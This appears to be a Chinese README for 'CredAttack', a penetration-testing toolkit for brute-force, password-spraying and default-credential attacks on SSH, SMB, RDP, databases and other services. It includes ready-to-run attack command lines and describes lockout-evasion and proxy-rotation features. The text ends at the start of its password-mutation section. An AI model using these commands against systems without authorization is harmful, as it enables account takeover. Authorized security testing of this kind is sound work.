CredAttack — 凭据攻击工具包

⚠️ 法律声明 — 仅限授权安全测试。
使用本工具针对您不拥有或未经明确书面许可的系统进行测试，在美国《计算机欺诈与滥用法》、英国《计算机滥用法》及全球同等法律下均属违法行为。请参阅 SECURITY.md。

---

目录

• 什么是 CredAttack？
• 攻击模式
• 支持的协议
• 架构
• 快速开始
• 安装
• CLI 参考
• 密码变异引擎
• 默认凭据数据库
• 代理轮换
• HTML 报告
• 配置与环境变量
• Docker
• 测试
• 项目结构
• 贡献

---

什么是 CredAttack？

CredAttack 是一套模块化、生产级凭据测试套件，适用于授权渗透测试项目。它覆盖了完整的凭据攻击生命周期：

阶段	CredAttack 能力
侦察	默认凭据数据库（200+ 组合）、基于用户名的智能模式生成
攻击	17 种协议攻击器、6 种攻击模式、多目标攻击活动
规避	锁定检测、可配置速率限制、抖动、代理轮换
报告	JSONL 审计日志、Jinja2 HTML 报告、已发现凭据横幅 + 文件导出

---

攻击模式

模式	命令	描述
字典	ssh、ftp、smb、…	针对单个用户的字典攻击
喷洒	spray	一个密码针对用户列表（锁定安全）
组合	combo	每个用户 × 每个密码
智能	smart	基于用户名/公司生成模式
默认	defaults	尝试 200+ 个已知服务默认凭据
多目标	multi	对主机列表执行相同攻击
完整流水线	full	所有协议，一份报告

---

支持的协议

#	协议	模块	默认端口	备注
1	SSH	ssh.py	22	paramiko，密钥/密码认证
2	FTP	ftp.py	21	主动与被动模式
3	HTTP 表单	http_form.py	80/443	自动 CSRF 令牌检测
4	HTTP Basic	http_basic.py	80	RFC 7617
5	HTTP Digest	http_digest.py	80	RFC 7616
6	SMB	smb.py	445	impacket，NTLM
7	RDP	rdp.py	3389	impacket NLA
8	SMTP	smtp.py	587	STARTTLS
9	POP3	pop3.py	110	支持 APOP
10	IMAP	imap.py	143	STARTTLS
11	MySQL	mysql.py	3306	mysql-connector-python
12	MSSQL	mssql.py	1433	pymssql
13	Redis	redis_proto.py	6379	AUTH 命令
14	MongoDB	mongodb.py	27017	pymongo
15	WinRM	winrm.py	5985	NTLM，pywinrm
16	LDAP	ldap_proto.py	389	ldap3，rootDSE 自动检测
17	Telnet	telnet.py	23	原始 TCP
18	VNC	vnc.py	5900	原始 DES 挑战-响应

---

架构

credattack.py          ← 精简入口：从检出目录执行 `python credattack.py ...`
│
├── credattack/cli.py   ← CLI（Typer）— 8 个攻击模式子命令；pip 安装后
│                          也是 `credattack` 控制台脚本
├── credattack/core/
│   ├── config.py      ← Pydantic v2 Settings，CREDATTACK_* 环境变量覆盖
│   ├── engine.py      ← AttackEngine（ThreadPoolExecutor + Rich 进度界面）
│   ├── lockout.py     ← LockoutDetector（滑动窗口，线程安全）
│   ├── proxy.py       ← ProxyRotator（轮询、健康检查、降级）
│   ├── mutator.py     ← PasswordMutator（leet、季节性、后缀、键盘行走…）
│   ├── result.py      ← AttemptResult + SessionReport 数据类
│   ├── report.py      ← Jinja2 HTML 报告生成器
│   └── logger.py      ← Rich 日志 + JSONL 审计写入器
│
├── credattack/protocols/
│   └── *.py           ← 18 个 ProtocolAttacker 实现
│
├── credattack/data/
│   ├── default_creds.json    ← 200+ 真实默认凭据组合
│   ├── smart_patterns.json   ← 140+ 企业密码模板
│   └── wordlists/            ← 按服务分类的默认密码列表
│
└── tests/             ← 50+ pytest 测试（单元 + 协议模拟）

---

快速开始

# 克隆并设置
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements.txt

# 检查版本
python credattack.py --version

# 试运行（不建立连接 — 验证您的字典列表）
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run

# 真实 SSH 字典攻击
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt

# 密码喷洒（限速、锁定安全）
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30

# 智能模式 — 从用户名 + 公司生成模式
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME

# 尝试服务默认凭据
python credattack.py defaults -t 192.168.1.100 --protocol mysql

# 多目标攻击活动
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt

---

安装

选项 A — pip + virtualenv（推荐）

python -m venv .venv
source .venv/bin/activate        # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt

选项 B — Makefile 快捷方式

make install      # 核心依赖
make install-dev  # + pytest-cov、ruff、mypy

选项 C — pip 安装（可编辑或从 wheel）

pip install -e .          # 仅核心依赖
pip install -e .[full]    # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev]     # + pytest/ruff/mypy

credattack --version      # 控制台脚本，等同于 `python credattack.py`

选项 D — Docker

docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help

# 挂载您的字典列表并收集输出
docker run --rm \
  -v $(pwd)/wordlists:/app/wordlists:ro \
  -v $(pwd)/output:/app/output \
  credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt

---

CLI 参考

全局选项

python credattack.py [OPTIONS] COMMAND [ARGS]...

选项：
  -V, --version    显示版本并退出。
  --help           显示帮助。

通用标志（适用于所有协议命令）

标志	短选项	默认值	描述
--target	-t	—	目标主机 / IP
--port		0（协议默认）	覆盖 TCP 端口
--username	-u	—	单个用户名
--user-file	-U	—	换行分隔的用户名文件
--pass-file	-P	—	换行分隔的密码文件
--password	-p2	—	单个密码
--threads	-n	10	并发工作线程
--timeout	-T	5.0	每次尝试超时（秒）
--delay	-d	0.0	固定尝试间隔延迟（秒）
--jitter		0.0	最大随机抖动（秒）
--stop-on-first		True	每个用户首次命中后停止
--proxy-file		None	HTTP/SOCKS5 代理列表
--output-dir	-o	./output	结果目录
--verbosity	-v	1	日志级别（0-3）
--dry-run		False	仅计数组合而不建立连接

子命令

# 协议专用（每个映射到专用攻击器）
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
  -t HOST -u USER -P passes.txt

# HTTP（表单 / basic / digest）
python credattack.py http -t http://target/login --mode form \
  --form-user-field username --form-pass-field password --success-string "Dashboard"

# 喷洒 — 单个密码、多个用户、长延迟
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30

# 组合 — 用户 × 密码的笛卡尔积
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt

# 智能 — 基于 OSINT 的生成
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp

# 默认 — 尝试厂商默认凭据
python credattack.py defaults -t HOST --protocol mysql

# 多目标 — 跨多个主机执行相同攻击
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt

# 完整 — 按顺序执行所有协议
python credattack.py full -t HOST -U users.txt -P passes.txt

---

密码变异引擎

credattack/core/mutator.py 中的 PasswordMutator 支持可组合策略：